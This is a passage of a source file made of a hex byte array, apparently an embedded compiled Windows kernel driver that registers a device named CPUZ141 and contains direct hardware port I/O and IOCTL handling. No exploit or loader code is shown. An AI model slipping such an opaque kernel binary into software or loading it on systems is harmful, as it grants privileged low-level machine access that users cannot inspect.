0x41, 0x89, 0x46, 0x30, 0xE9, 0x7B, 0x00, 0x00, 0x00, 0x4D, 0x89, 0x7E, 0x38, 0x41, 0xC7, 0x46, 0x30, 0x23, 0x00, 0x00, 0xC0, 0xEB, 0x6D, 0x83, 0x7A, 0x08, 0x0C, 0x73, 0x0E,
0x4D, 0x89, 0x7E, 0x38, 0x41, 0xC7, 0x46, 0x30, 0x23, 0x00, 0x00, 0xC0, 0xEB, 0x59, 0x45, 0x33, 0xC9, 0x4C, 0x8D, 0x84, 0x24, 0xEC, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x94, 0x24, 0xE8, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0x20, 0x01, 0x00, 0x00, 0xFF, 0x15, 0x51, 0x0E, 0x00, 0x00, 0x44, 0x8B, 0x9C, 0x24, 0x20, 0x01, 0x00, 0x00, 0x45, 0x89, 0x5D, 0x00, 0x8B, 0x84, 0x24, 0xE8, 0x00, 0x00, 0x00, 0x41, 0x89, 0x45, 0x04, 0x8B, 0x84, 0x24, 0xEC, 0x00, 0x00, 0x00, 0x41, 0x89, 0x45, 0x08, 0x49, 0xC7, 0x46, 0x38, 0x0C, 0x00, 0x00, 0x00, 0x45, 0x89, 0x7E, 0x30, 0xEB, 0x08, 0x41, 0xC7, 0x46, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0x41, 0x8B, 0x5E, 0x30, 0x33, 0xD2, 0x49, 0x8B, 0xCE, 0xFF, 0x15, 0xFA, 0x0D, 0x00, 0x00, 0x8B, 0xC3, 0x4C, 0x8D, 0x9C, 0x24, 0xF0, 0x02, 0x00, 0x00,
0x41, 0x0F, 0x28, 0x73, 0xF0, 0x41, 0x0F, 0x28, 0x7B, 0xE0, 0x45, 0x0F, 0x28, 0x43, 0xD0, 0x49, 0x8B, 0xE3, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5F, 0x5E, 0x5B, 0xC3, 0x66, 0x90, 0x40, 0x16, 0x00, 0x00, 0xFA, 0x16, 0x00, 0x00, 0xBE, 0x17, 0x00, 0x00, 0x3C, 0x17, 0x00, 0x00, 0x05, 0x18, 0x00, 0x00, 0x7F, 0x17, 0x00, 0x00, 0x4D, 0x18, 0x00, 0x00, 0x94, 0x18, 0x00, 0x00, 0x97, 0x16, 0x00, 0x00, 0x35, 0x1C, 0x00, 0x00, 0x03, 0x1D, 0x00, 0x00, 0xA1, 0x19, 0x00, 0x00, 0xD8, 0x29, 0x00, 0x00, 0x8E, 0x1D, 0x00, 0x00, 0x32, 0x21, 0x00, 0x00, 0xB5, 0x21, 0x00, 0x00, 0x38, 0x22, 0x00, 0x00, 0xA3, 0x25, 0x00, 0x00, 0xF4, 0x26, 0x00, 0x00, 0x58, 0x1A, 0x00, 0x00, 0x46, 0x1B, 0x00, 0x00, 0xEB, 0x1F, 0x00, 0x00, 0x09, 0x2A, 0x00, 0x00, 0xB7, 0x2B, 0x00, 0x00,
0x80, 0x2E, 0x00, 0x00, 0x5F, 0x42, 0x00, 0x00, 0x00, 0x19, 0x19, 0x19, 0x01, 0x19, 0x19, 0x19, 0x02, 0x19, 0x19, 0x19, 0x03, 0x19, 0x19, 0x19, 0x04, 0x19, 0x19, 0x19, 0x05, 0x19, 0x19, 0x19, 0x06, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x07, 0x19, 0x19, 0x19, 0x08, 0x19, 0x19, 0x19, 0x09, 0x19, 0x19, 0x19, 0x0A, 0x19, 0x19, 0x19, 0x0B, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x0C, 0x19, 0x19, 0x19, 0x0D, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x0E, 0x19, 0x19, 0x19, 0x0F, 0x19, 0x19, 0x19, 0x10, 0x19, 0x19, 0x19, 0x11, 0x19, 0x19, 0x19, 0x12, 0x19, 0x19, 0x19, 0x13, 0x19, 0x19, 0x19, 0x14, 0x19, 0x19, 0x19, 0x15, 0x19, 0x19, 0x19, 0x16, 0x19, 0x19, 0x19, 0x17, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19,
0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x18, 0x0F, 0x1F, 0x00, 0xA5, 0x3B, 0x00, 0x00, 0x82, 0x3F, 0x00, 0x00, 0xFA, 0x41, 0x00, 0x00, 0xA4, 0x38, 0x00, 0x00, 0x75, 0x32, 0x00, 0x00, 0xBE, 0x3A, 0x00, 0x00, 0x64, 0x30, 0x00, 0x00, 0x35, 0x35, 0x00, 0x00, 0x60, 0x37, 0x00, 0x00, 0x5F, 0x42, 0x00, 0x00, 0x00, 0x09, 0x09, 0x09, 0x01, 0x09, 0x09, 0x09, 0x09, 0x09, 0x09, 0x09, 0x02, 0x09, 0x09, 0x09, 0x03, 0x09, 0x09, 0x09, 0x04, 0x09, 0x09, 0x09, 0x05, 0x09, 0x09, 0x09, 0x06, 0x09, 0x09, 0x09, 0x07, 0x09, 0x09, 0x09,
0x08, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x10, 0x48, 0x89, 0x6C, 0x24, 0x18, 0x48, 0x89, 0x74, 0x24, 0x20, 0x57, 0x48, 0x81, 0xEC, 0xA0, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x05, 0xD2, 0x1C, 0x00, 0x00, 0x48, 0x33, 0xC4, 0x48, 0x89, 0x84, 0x24, 0x98, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x15, 0xC0, 0xBB, 0xFF, 0xFF, 0x48, 0x8B, 0xF9, 0x48, 0x8D, 0x4C, 0x24, 0x38, 0x48, 0x8B, 0x82, 0xA0, 0x49, 0x00, 0x00, 0x48, 0x8D, 0x1D, 0xF2, 0x1C, 0x00, 0x00, 0x33, 0xF6, 0x48, 0x89, 0x01, 0x48, 0x8B, 0x82, 0xA8, 0x49, 0x00, 0x00, 0x48, 0x8D, 0x2D, 0xDF, 0x1F, 0x00, 0x00, 0x48, 0x89, 0x41, 0x08, 0x48, 0x8B, 0x82, 0xB0, 0x49, 0x00, 0x00, 0x48, 0x89, 0x41, 0x10, 0x48, 0x8B, 0x82, 0xB8, 0x49, 0x00, 0x00, 0x48,
0x89, 0x41, 0x18, 0x48, 0x8B, 0x82, 0xC0, 0x49, 0x00, 0x00, 0x48, 0x89, 0x41, 0x20, 0x48, 0x8B, 0x82, 0xD0, 0x49, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x60, 0x48, 0x89, 0x01, 0x48, 0x8B, 0x82, 0xD8, 0x49, 0x00, 0x00, 0x48, 0x89, 0x41, 0x08, 0x48, 0x8B, 0x82, 0xE0, 0x49, 0x00, 0x00, 0x48, 0x89, 0x41, 0x10, 0x48, 0x8B, 0x82, 0xE8, 0x49, 0x00, 0x00, 0x48, 0x89, 0x41, 0x18, 0x48, 0x8B, 0x82, 0xF0, 0x49, 0x00, 0x00, 0x48, 0x89, 0x41, 0x20, 0x48, 0x8B, 0x82, 0xF8, 0x49, 0x00, 0x00, 0x48, 0x89, 0x41, 0x28, 0x8B, 0x82, 0x00, 0x4A, 0x00, 0x00, 0x89, 0x41, 0x30, 0x0F, 0xB7, 0x82, 0x04, 0x4A, 0x00, 0x00, 0x66, 0x89, 0x41, 0x34, 0x8B, 0x43, 0x08, 0x85, 0xC0, 0x74, 0x18, 0x48, 0x8B, 0x0B, 0x48, 0x8B, 0xD0, 0xFF, 0x15, 0x4D, 0x0B, 0x00, 0x00, 0x89, 0x73, 0xF8, 0x89, 0x73,
0xFC, 0x48, 0x89, 0x33, 0x89, 0x73, 0x08, 0x48, 0x83, 0xC3, 0x18, 0x48, 0x3B, 0xDD, 0x7C, 0xD8, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0x33, 0xD2, 0xFF, 0x15, 0x5D, 0x0B, 0x00, 0x00, 0x83, 0x7C, 0x24, 0x20, 0x05, 0x48, 0x8D, 0x44, 0x24, 0x38, 0x48, 0x8D, 0x54, 0x24, 0x60, 0x48, 0x8D, 0x4C, 0x24, 0x28, 0x48, 0x0F, 0x42, 0xD0, 0xFF, 0x15, 0xE7, 0x0A, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x28, 0xFF, 0x15, 0x6C, 0x0B, 0x00, 0x00, 0x48, 0x8B, 0x4F, 0x08, 0xFF, 0x15, 0xDA, 0x0A, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x98, 0x00, 0x00, 0x00, 0x48, 0x33, 0xCC, 0xE8, 0x6A, 0x00, 0x00, 0x00, 0x4C, 0x8D, 0x9C, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x49, 0x8B, 0x5B, 0x18, 0x49, 0x8B, 0x6B, 0x20, 0x49, 0x8B, 0x73, 0x28, 0x49, 0x8B, 0xE3, 0x5F, 0xC3, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x20, 0x53, 0x4C, 0x8B, 0xC1, 0x41, 0x8B, 0x00, 0x41, 0x8B, 0x58, 0x04, 0x41, 0x8B, 0x48, 0x08, 0x41, 0x8B, 0x50, 0x0C, 0xE6, 0xB2, 0xE6, 0x84, 0x41, 0x89, 0x00, 0x41, 0x89, 0x58, 0x04, 0x41, 0x89, 0x48, 0x08, 0x41, 0x89, 0x50, 0x0C, 0x5B, 0x48, 0x83, 0xC4, 0x20, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x3B, 0x0D, 0x29, 0x1B, 0x00, 0x00, 0x75, 0x12, 0x48, 0xC1, 0xC1, 0x10, 0x66, 0xF7, 0xC1, 0xFF, 0xFF, 0x75, 0x03, 0xC2, 0x00, 0x00, 0x48, 0xC1, 0xC9, 0x10, 0xE9, 0x08, 0x00, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x38, 0x4C, 0x8B, 0x0D, 0x05,
0x1B, 0x00, 0x00, 0x4C, 0x8B, 0x05, 0xF6, 0x1A, 0x00, 0x00, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x48, 0x8B, 0xD1, 0xB9, 0xF7, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x8A, 0x0A, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x45, 0x8B, 0x18, 0x48, 0x8B, 0xDA, 0x4C, 0x8B, 0xC9, 0x41, 0x83, 0xE3, 0xF8, 0x41, 0xF6, 0x00, 0x04, 0x4C, 0x8B, 0xD1, 0x74, 0x13, 0x41, 0x8B, 0x40, 0x08, 0x4D, 0x63, 0x50, 0x04, 0xF7, 0xD8, 0x4C, 0x03, 0xD1, 0x48, 0x63, 0xC8, 0x4C, 0x23, 0xD1, 0x49, 0x63, 0xC3, 0x4A, 0x8B, 0x14, 0x10, 0x48, 0x8B, 0x43, 0x10, 0x8B, 0x48, 0x08, 0x48, 0x03, 0x4B, 0x08, 0xF6, 0x41, 0x03, 0x0F, 0x74, 0x0C, 0x0F, 0xB6, 0x41, 0x03, 0x83, 0xE0, 0xF0, 0x48, 0x98, 0x4C, 0x03, 0xC8, 0x4C, 0x33, 0xCA, 0x49, 0x8B,
0xC9, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xE9, 0x45, 0xFF, 0xFF, 0xFF, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x28, 0x4D, 0x8B, 0x41, 0x38, 0x48, 0x8B, 0xCA, 0x49, 0x8B, 0xD1, 0xE8, 0x81, 0xFF, 0xFF, 0xFF, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4C, 0x8B, 0xDC, 0x49, 0x89, 0x5B, 0x08, 0x49, 0x89, 0x6B, 0x18, 0x49, 0x89, 0x73, 0x20, 0x49, 0x89, 0x53, 0x10, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xEC, 0x40, 0x4D, 0x8B, 0x71, 0x08, 0x4D, 0x8B, 0x29, 0x49, 0x63, 0x79, 0x48, 0x4D, 0x8B, 0x61, 0x38, 0x4D, 0x2B, 0xEE, 0xF6, 0x41, 0x04, 0x66, 0x49, 0x8B, 0xE9, 0x48, 0x8B, 0xF2, 0x4C, 0x8B, 0xF9, 0x48, 0x8B, 0xC7, 0x0F, 0x85, 0x9B, 0x00, 0x00, 0x00,
0x49, 0x89, 0x4B, 0xC8, 0x4D, 0x89, 0x43, 0xD0, 0x41, 0x3B, 0x3C, 0x24, 0x0F, 0x83, 0xF1, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC0, 0x49, 0x8D, 0x5C, 0xC4, 0x0C, 0x8B, 0x43, 0xF8, 0x4C, 0x3B, 0xE8, 0x72, 0x67, 0x8B, 0x43, 0xFC, 0x4C, 0x3B, 0xE8, 0x73, 0x5F, 0x83, 0x7B, 0x04, 0x00, 0x74, 0x59, 0x83, 0x3B, 0x01, 0x74, 0x15, 0x8B, 0x03, 0x48, 0x8D, 0x4C, 0x24, 0x30, 0x48, 0x8B, 0xD6, 0x49, 0x03, 0xC6, 0xFF, 0xD0, 0x85, 0xC0, 0x78, 0x4F, 0x7E, 0x3F, 0x8B, 0x4B, 0x04, 0x41, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xD6, 0x49, 0x03, 0xCE, 0xE8, 0xE2, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x45, 0x40, 0x8B, 0x53, 0x04, 0x4D, 0x63, 0x0F, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x8B, 0x45, 0x28, 0x49, 0x03, 0xD6, 0x4D, 0x8B, 0xC7, 0x48, 0x8B, 0xCE, 0x48, 0x89, 0x44, 0x24, 0x20, 0xE8,
0xF4, 0x01, 0x00, 0x00, 0xE8, 0xE7, 0x01, 0x00, 0x00, 0xFF, 0xC7, 0x48, 0x83, 0xC3, 0x10, 0x41, 0x3B, 0x3C, 0x24, 0x73, 0x6E, 0xEB, 0x83, 0x33, 0xC0, 0xEB, 0x6D, 0x49, 0x8B, 0x71, 0x20, 0x49, 0x2B, 0xF6, 0x41, 0x3B, 0x3C, 0x24, 0x73, 0x5B, 0x48, 0x03, 0xC0, 0x49, 0x8D, 0x5C, 0xC4, 0x08, 0x8B, 0x43, 0xFC, 0x4C, 0x3B, 0xE8, 0x72, 0x3F, 0x8B, 0x0B, 0x4C, 0x3B, 0xE9, 0x73, 0x38, 0x48, 0x3B, 0xF0, 0x72, 0x0C, 0x48, 0x3B, 0xF1, 0x77, 0x07, 0x41, 0xF6, 0x47, 0x04, 0x20, 0x75, 0x33, 0x83, 0x7B, 0x08, 0x00, 0x74, 0x0A, 0x8B, 0x43, 0x08, 0x48, 0x3B, 0xF0, 0x74, 0x25, 0xEB, 0x17, 0x48, 0x8B, 0x54, 0x24, 0x78, 0x8D, 0x47, 0x01, 0xB1, 0x01, 0x89, 0x45, 0x48, 0x44, 0x8B, 0x43, 0x04, 0x4D, 0x03, 0xC6, 0x41, 0xFF, 0xD0, 0xFF, 0xC7, 0x48, 0x83, 0xC3, 0x10, 0x41, 0x3B, 0x3C,
0x24, 0x72, 0xAD, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x4C, 0x8D, 0x5C, 0x24, 0x40, 0x49, 0x8B, 0x5B, 0x30, 0x49, 0x8B, 0x6B, 0x40, 0x49, 0x8B, 0x73, 0x48, 0x49, 0x8B, 0xE3, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5F, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xC1, 0x49, 0x83, 0xF8, 0x08, 0x72, 0x53, 0x0F, 0xB6, 0xD2, 0x49, 0xB9, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x49, 0x0F, 0xAF, 0xD1, 0x49, 0x83, 0xF8, 0x40, 0x72, 0x1E, 0x48, 0xF7, 0xD9, 0x83, 0xE1, 0x07, 0x74, 0x06, 0x4C, 0x2B, 0xC1, 0x48, 0x89, 0x10, 0x48, 0x03, 0xC8, 0x4D, 0x8B, 0xC8, 0x49, 0x83, 0xE0, 0x3F, 0x49, 0xC1, 0xE9, 0x06, 0x75, 0x39, 0x4D, 0x8B,
0xC8, 0x49, 0x83, 0xE0, 0x07, 0x49, 0xC1, 0xE9, 0x03, 0x74, 0x11, 0x66, 0x66, 0x66, 0x90, 0x90, 0x48, 0x89, 0x11, 0x48, 0x83, 0xC1, 0x08, 0x49, 0xFF, 0xC9, 0x75, 0xF4, 0x4D, 0x85, 0xC0, 0x74, 0x0A, 0x88, 0x11, 0x48, 0xFF, 0xC1, 0x49, 0xFF, 0xC8, 0x75, 0xF6, 0xC2, 0x00, 0x00, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x90, 0x49, 0x81, 0xF9, 0x00, 0x1C, 0x00, 0x00, 0x73, 0x30, 0x48, 0x89, 0x11, 0x48, 0x89, 0x51, 0x08, 0x48, 0x89, 0x51, 0x10, 0x48, 0x83, 0xC1, 0x40, 0x48, 0x89, 0x51, 0xD8, 0x48, 0x89, 0x51, 0xE0, 0x49, 0xFF, 0xC9, 0x48, 0x89, 0x51, 0xE8, 0x48, 0x89, 0x51, 0xF0, 0x48, 0x89, 0x51, 0xF8, 0x75, 0xD8, 0xEB, 0x94, 0x66, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x48, 0x0F, 0xC3, 0x11, 0x48, 0x0F, 0xC3, 0x51, 0x08, 0x48, 0x0F, 0xC3, 0x51, 0x10, 0x48, 0x83,
0xC1, 0x40, 0x48, 0x0F, 0xC3, 0x51, 0xD8, 0x48, 0x0F, 0xC3, 0x51, 0xE0, 0x49, 0xFF, 0xC9, 0x48, 0x0F, 0xC3, 0x51, 0xE8, 0x48, 0x0F, 0xC3, 0x51, 0xF0, 0x48, 0x0F, 0xC3, 0x51, 0xF8, 0x75, 0xD0, 0xF0, 0x80, 0x0C, 0x24, 0x00, 0xE9, 0x54, 0xFF, 0xFF, 0xFF, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0x4C, 0x24, 0x08, 0x48, 0x89, 0x54, 0x24, 0x18, 0x44, 0x89, 0x44, 0x24, 0x10, 0x49, 0xC7, 0xC1, 0x20, 0x05, 0x93, 0x19, 0xEB, 0x08, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x90, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xFF, 0x25, 0x5A, 0x07, 0x00, 0x00, 0xCC, 0xCC,
0x5C, 0x00, 0x44, 0x00, 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x5C, 0x00, 0x63, 0x00, 0x70, 0x00, 0x75, 0x00, 0x7A, 0x00, 0x31, 0x00, 0x34, 0x00, 0x31, 0x00, 0x00, 0x00, 0x5C, 0x00, 0x44, 0x00, 0x6F, 0x00, 0x73, 0x00, 0x44, 0x00, 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x73, 0x00, 0x5C, 0x00, 0x43, 0x00, 0x50, 0x00, 0x55, 0x00, 0x5A, 0x00, 0x31, 0x00, 0x34, 0x00, 0x31, 0x00, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x5C, 0x00, 0x44, 0x00, 0x6F, 0x00, 0x73, 0x00, 0x44, 0x00, 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x73, 0x00, 0x5C, 0x00, 0x47, 0x00, 0x6C, 0x00, 0x6F, 0x00, 0x62, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x5C, 0x00, 0x43, 0x00, 0x50, 0x00, 0x55, 0x00, 0x5A, 0x00, 0x31, 0x00,
0x34, 0x00, 0x31, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xC4, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAC, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDC, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x56, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6A, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7E, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9E, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB6, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE2, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x10, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x72, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD2, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA8, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3B, 0x46, 0x34, 0x58, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
